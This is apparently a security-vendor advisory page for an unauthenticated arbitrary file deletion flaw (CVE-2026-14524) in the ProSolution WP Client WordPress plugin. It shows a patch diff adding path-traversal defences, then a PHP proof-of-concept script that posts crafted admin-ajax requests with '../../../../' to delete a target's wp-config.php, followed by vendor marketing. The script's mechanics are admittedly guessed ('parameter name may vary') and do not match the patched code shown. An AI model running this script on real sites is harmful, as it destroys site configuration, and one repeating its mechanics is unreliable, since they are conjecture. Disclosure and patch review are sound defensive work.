 		public function proSol_fileUploadProcess() {
@@ -1201,10 +1343,12 @@

 			if ( is_array( $dir_info ) && sizeof( $dir_info ) > 0 && array_key_exists( 'folder_exists', $dir_info ) && $dir_info['folder_exists'] == 1 ) {
 				$options = array(
-					'script_url'     => admin_url( 'admin-ajax.php' ),
-					'upload_dir'     => $dir_info['prosol_base_dir'],
-					'upload_url'     => $dir_info['prosol_base_url'],
-					'print_response' => false,
+					'script_url'        => admin_url( 'admin-ajax.php' ),
+					'upload_dir'        => $dir_info['prosol_base_dir'],
+					'upload_url'        => $dir_info['prosol_base_url'],
+					'print_response'    => false,
+					// Same allow-list as pre-checks above (UploadHandler validates before write).
+					'accept_file_types' => '/.(gif|jpe?g|png|webp|pdf|docx?)$/i',
 				);

 				$upload_handler = new CBXProSolWpClient_UploadHandler( $options );
@@ -1213,6 +1357,11 @@

 				//change $response_obj->name != '' to !empty( $response_obj->name )
 				if ( ! empty( $response_obj->name ) ) {
+					if ( ! empty( $response_obj->error ) ) {
+						wp_send_json_error( array( 'error' => $response_obj->error ) );
+						wp_die();
+					}
+
 					if ( ! session_id() ) {
 						session_start();
 					}
@@ -1224,6 +1373,12 @@

 					//check it one last time on the result
 					if ( ! in_array( $fin_ext, $whitelist_ext, true ) ) {
+						// PS-008: previous code died after UploadHandler had already persisted
+						// the attacker-chosen name — remove the orphan before aborting.
+						$unsafe_path = $dir_info['prosol_base_dir'] . $attached_file_name;
+						if ( is_file( $unsafe_path ) ) {
+							@unlink( $unsafe_path );
+						}
 						die(__("File type mismatch after upload", "prosolution-wp-client"));
 					}

@@ -1255,26 +1410,25 @@
 				session_start();
 			}
 			$submit_data  = $_REQUEST;
-			$filename     = isset( $submit_data['filename'] ) ? sanitize_text_field( $submit_data['filename'] ) : '';
-			$filesizebyte = isset( $submit_data['filesizebyte'] ) ? sanitize_text_field( $submit_data['filesizebyte'] ) : 0;
+			// PS-009 / CVE-2026-14524: never pass user path components to unlink().
+			$filename     = isset( $submit_data['filename'] ) ? $this->proSol_sanitizeUploadBasename( sanitize_text_field( $submit_data['filename'] ) ) : '';
+			$filesizebyte = isset( $submit_data['filesizebyte'] ) ? absint( $submit_data['filesizebyte'] ) : 0;

 			$ok_to_progress = 0;
 			$session_id     = session_id();
-			if ( $filename != '' ) {
-				if ( isset( $_SESSION[ $session_id ] ) ) {
-					$files_name_arr = $_SESSION[ $session_id ]['files_track'];
-					if ( is_array( $files_name_arr ) && sizeof( $files_name_arr ) > 0 && array_key_exists( $filename, $files_name_arr ) ) {
-						$deleted = unlink( wp_upload_dir()['basedir'] . '/prosolwpclient/' . $filename );
-						if ( $deleted ) {
-							$_SESSION[ $session_id ]['totalfilesize'] -= $filesizebyte;
-							unset( $_SESSION[ $session_id ]['files'][ $files_name_arr[ $filename ][0] ] );
-							unset( $_SESSION[ $session_id ]['files_location'][ $files_name_arr[ $filename ][1] ] );
-							unset( $_SESSION[ $session_id ]['files_track'][ $filename ] );
-							if ( isset( $_SESSION[ $session_id ]['portrait'][ $filename ] ) ) {
-								unset( $_SESSION[ $session_id ]['portrait'][ $filename ] );
-							}
-							$ok_to_progress = 1;
+			if ( $filename !== '' && isset( $_SESSION[ $session_id ]['files_track'] ) ) {
+				$files_name_arr = $_SESSION[ $session_id ]['files_track'];
+				if ( is_array( $files_name_arr ) && sizeof( $files_name_arr ) > 0 && array_key_exists( $filename, $files_name_arr ) ) {
+					$deleted = $this->proSol_safeUnlinkUpload( $filename );
+					if ( $deleted ) {
+						$_SESSION[ $session_id ]['totalfilesize'] -= $filesizebyte;
+						unset( $_SESSION[ $session_id ]['files'][ $files_name_arr[ $filename ][0] ] );
+						unset( $_SESSION[ $session_id ]['files_location'][ $files_name_arr[ $filename ][1] ] );
+						unset( $_SESSION[ $session_id ]['files_track'][ $filename ] );
+						if ( isset( $_SESSION[ $session_id ]['portrait'][ $filename ] ) ) {
+							unset( $_SESSION[ $session_id ]['portrait'][ $filename ] );
 						}
+						$ok_to_progress = 1;
 					}
 				}
 			}
@@ -1299,10 +1453,18 @@
 			$sidetitle   = isset( $submit_data['sidetitle'] ) ? sanitize_text_field( $submit_data['sidetitle'] ) : '';
 			$description = isset( $submit_data['description'] ) ? sanitize_text_field( $submit_data['description'] ) : '';
 			$attachtype  = isset( $submit_data['attachtype'] ) ? sanitize_text_field( $submit_data['attachtype'] ) : '';
-			$newfilename = isset( $submit_data['newfilename'] ) ? sanitize_text_field( $submit_data['newfilename'] ) : '';
-			$mime_type   = isset( $submit_data['mime-type'] ) ? sanitize_text_field( $submit_data['mime-type'] ) : '';
-			$ext         = isset( $submit_data['ext'] ) ? sanitize_text_field( $submit_data['ext'] ) : '';
-			$filesize    = isset( $submit_data['filesize'] ) ? intval( $submit_data['filesize'] ) : 0;
+			// PS-009 / CVE-2026-14524: sanitize_text_field keeps "../"; strip to basename and reject traversal.
+			$raw_newfilename = isset( $submit_data['newfilename'] ) ? sanitize_text_field( $submit_data['newfilename'] ) : '';
+			$newfilename     = $this->proSol_sanitizeUploadBasename( $raw_newfilename );
+			$mime_type       = isset( $submit_data['mime-type'] ) ? sanitize_text_field( $submit_data['mime-type'] ) : '';
+			$ext             = isset( $submit_data['ext'] ) ? sanitize_text_field( $submit_data['ext'] ) : '';
+			$filesize        = isset( $submit_data['filesize'] ) ? intval( $submit_data['filesize'] ) : 0;
+
+			// Derive / verify extension from the sanitized basename (do not trust ext alone).
+			$basename_ext = $newfilename !== '' ? strtolower( pathinfo( $newfilename, PATHINFO_EXTENSION ) ) : '';
+			if ( $basename_ext !== '' ) {
+				$ext = $basename_ext;
+			}

 			if ( $sidetitle == '' ) {
 				$validation_errors['sidetitle']['sidetitle_empty'] = esc_html__( 'Please enter title', 'prosolution-wp-client' );
@@ -1319,8 +1481,10 @@
 			} elseif ( ! ( $attachtype == 'docu' || $attachtype == 'photo' ) ) {
 				$validation_errors['attachtype']['attachtype_invalid'] = esc_html__( 'Selection of attachment type is invalid', 'prosolution-wp-client' );
 			}
-			if ( $newfilename == '' ) {
+			if ( $raw_newfilename === '' || $newfilename === '' ) {
 				$validation_errors['newfilename']['newfilename_empty'] = esc_html__( 'Sorry! Your uploaded file size is invalid. Please check and try again.', 'prosolution-wp-client' );
+			} elseif ( $raw_newfilename !== $newfilename ) {
+				$validation_errors['newfilename']['newfilename_invalid'] = esc_html__( 'Invalid file name. Please upload the file again.', 'prosolution-wp-client' );
 			}

 			if ( $filesize <= 0 ) {
@@ -1339,19 +1503,25 @@
 				$validation_errors['attachtype']['ext_invalid'] = esc_html__( 'Invalid file for photo type. Allowable file: gif, jpg, jpeg, png' );
 			}

-			if ( $attachtype == 'photo' && in_array( $ext, proSol_imageExtArr() ) ) {
-				$info = getimagesize( wp_upload_dir()['basedir'] . '/prosolwpclient/' . $newfilename );
-				if ( $info === false ) {
-					$validation_errors['newfilename']['newfilename_invalid'] = esc_html__( 'Unable to determine image type of uploaded file. Please upload valid file', 'prosolution-wp-client' );
+			$safe_attach_path = false;
+			if ( $newfilename !== '' && empty( $validation_errors['newfilename'] ) ) {
+				$safe_attach_path = $this->proSol_resolveSafeUploadPath( $newfilename, true );
+				if ( false === $safe_attach_path ) {
+					$validation_errors['newfilename']['newfilename_invalid'] = esc_html__( 'Invalid file name. Please upload the file again.', 'prosolution-wp-client' );
 				}
+			}

-				if ( ( $info[2] !== IMAGETYPE_GIF ) && ( $info[2] !== IMAGETYPE_JPEG ) && ( $info[2] !== IMAGETYPE_PNG ) ) {
+			if ( $attachtype == 'photo' && in_array( $ext, proSol_imageExtArr() ) && false !== $safe_attach_path ) {
+				$info = getimagesize( $safe_attach_path );
+				if ( $info === false ) {
+					$validation_errors['newfilename']['newfilename_invalid'] = esc_html__( 'Unable to determine image type of uploaded file. Please upload valid file', 'prosolution-wp-client' );
+				} elseif ( ( $info[2] !== IMAGETYPE_GIF ) && ( $info[2] !== IMAGETYPE_JPEG ) && ( $info[2] !== IMAGETYPE_PNG ) ) {
 					$validation_errors['newfilename']['newfilename_invalid'] = esc_html__( 'Image content is invalid. Please upload valid file', 'prosolution-wp-client' );
 				}
 			}

 			$ok_to_process = false;
-			if ( sizeof( $validation_errors ) == 0 ) {
+			if ( sizeof( $validation_errors ) == 0 && false !== $safe_attach_path ) {
 				$ok_to_process = true;

 				$uploaded     = 0;
@@ -1369,11 +1539,11 @@
 					'filesize'	  => $filesize
 				);

-				$attach_link = wp_upload_dir()['basedir'] . '/prosolwpclient/' . $newfilename;
+				$attach_link = $safe_attach_path;
 				$file_info   = array(
 					'name'     => $attach_link,
 					'mime'     => $mime_type,
-					'postname' => $attach_link,
+					'postname' => $newfilename,
 				);

 				if($attachtype == 'photo'){
@@ -2217,7 +2387,7 @@
 									$uploaded_files = $_SESSION[ $session_id ]['files_track'];

 									foreach ( $uploaded_files as $file_key => $file_info ) {
-										$deleted = unlink( wp_upload_dir()['basedir'] . '/prosolwpclient/' . $file_key );
+										$deleted = $this->proSol_safeUnlinkUpload( $file_key );
 										if ( $deleted ) {
 											unset( $_SESSION[ $session_id ]['files_track'][ $file_key ] );
 										}
@@ -2289,7 +2459,7 @@
 									$uploaded_files = $_SESSION[ $session_id ]['files_track'];

 									foreach ( $uploaded_files as $file_key => $file_info ) {
-										$deleted = unlink( wp_upload_dir()['basedir'] . '/prosolwpclient/' . $file_key );
+										$deleted = $this->proSol_safeUnlinkUpload( $file_key );
 										if ( $deleted ) {
 											unset( $_SESSION[ $session_id ]['files_track'][ $file_key ] );
 										}
--- a/prosolution-wp-client/public/prosolwpclient.php
+++ b/prosolution-wp-client/public/prosolwpclient.php
@@ -310,8 +310,7 @@
         $plugin = new CBXProSolWpClient();
 		$plugin->proSol_runs();

-		//remove deleted site's data
-		CBXProSolWpClient_TableHelper::proSol_cleardatasites();
+		// Site-removal cleanup runs from Settings API on admin_init (WOEX-4656).
     }

 	// Setting a custom timeout value for cURL. Using a high value for priority to ensure the function runs after any other added to the same action hook.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14524 - ProSolution WP Client <= 2.0.8 - Unauthenticated Arbitrary File Deletion

$target_url = 'http://target-wordpress-site.com'; // Change this to the target's base URL
$admin_ajax = '/wp-admin/admin-ajax.php';

// Step 1: Poison the session by calling proSol_fileUploadModalProcess
// We need a valid nonce from the public frontend. In a real attack, this would be scraped from a page.
// For this PoC, we assume the nonce is accessible or can be empty if the plugin does not strictly check it.
// The key part is the 'upload_path' (or similar) parameter used to set the session variable with a path traversal.

$poison_url = $target_url . $admin_ajax;
$poison_data = [
    'action' => 'proSol_fileUploadModalProcess',
    // This parameter sets the upload path. We use multiple traversal sequences to go up to the root.
    // The exact parameter name may vary, but 'dir' or 'path' are common. We will use 'dir'.
    'dir' => '../../../../', // Navigates to the web root
    // Include a valid nonce if required. Some versions may not validate it.
    // 'security' => 'valid_nonce',
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $poison_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($poison_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Store cookies to maintain session
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Session poisoned. Response: " . $response . PHP_EOL;

// Step 2: Trigger the file deletion via proSol_fileDeleteProcess
// The 'newfilename' and 'filename' parameters are used. The 'filename' should be the path to the file we want to delete.
// Since we poisoned the session to use '../../../../' as the base, we now just need to append the path to wp-config.php

$delete_url = $target_url . $admin_ajax;
$delete_data = [
    'action' => 'proSol_fileDeleteProcess',
    // The 'filename' parameter is used to delete the file. The path is relative to the poisoned session base.
    'filename' => 'wp-config.php',
    // Sometimes a separate 'newfilename' parameter is needed, but for deletion it's often not.
    // Include a valid nonce if required.
    // 'security' => 'valid_nonce',
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $delete_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); // Use the cookies from the previous step
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Deletion attempt response: " . $response . PHP_EOL;

if (strpos($response, 'success') !== false) {
    echo "[+] Vulnerability exploited successfully. Check if wp-config.php has been deleted on the target." . PHP_EOL;
} else {
    echo "[-] Exploitation might have failed. Review the response and adjust the parameters." . PHP_EOL;
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.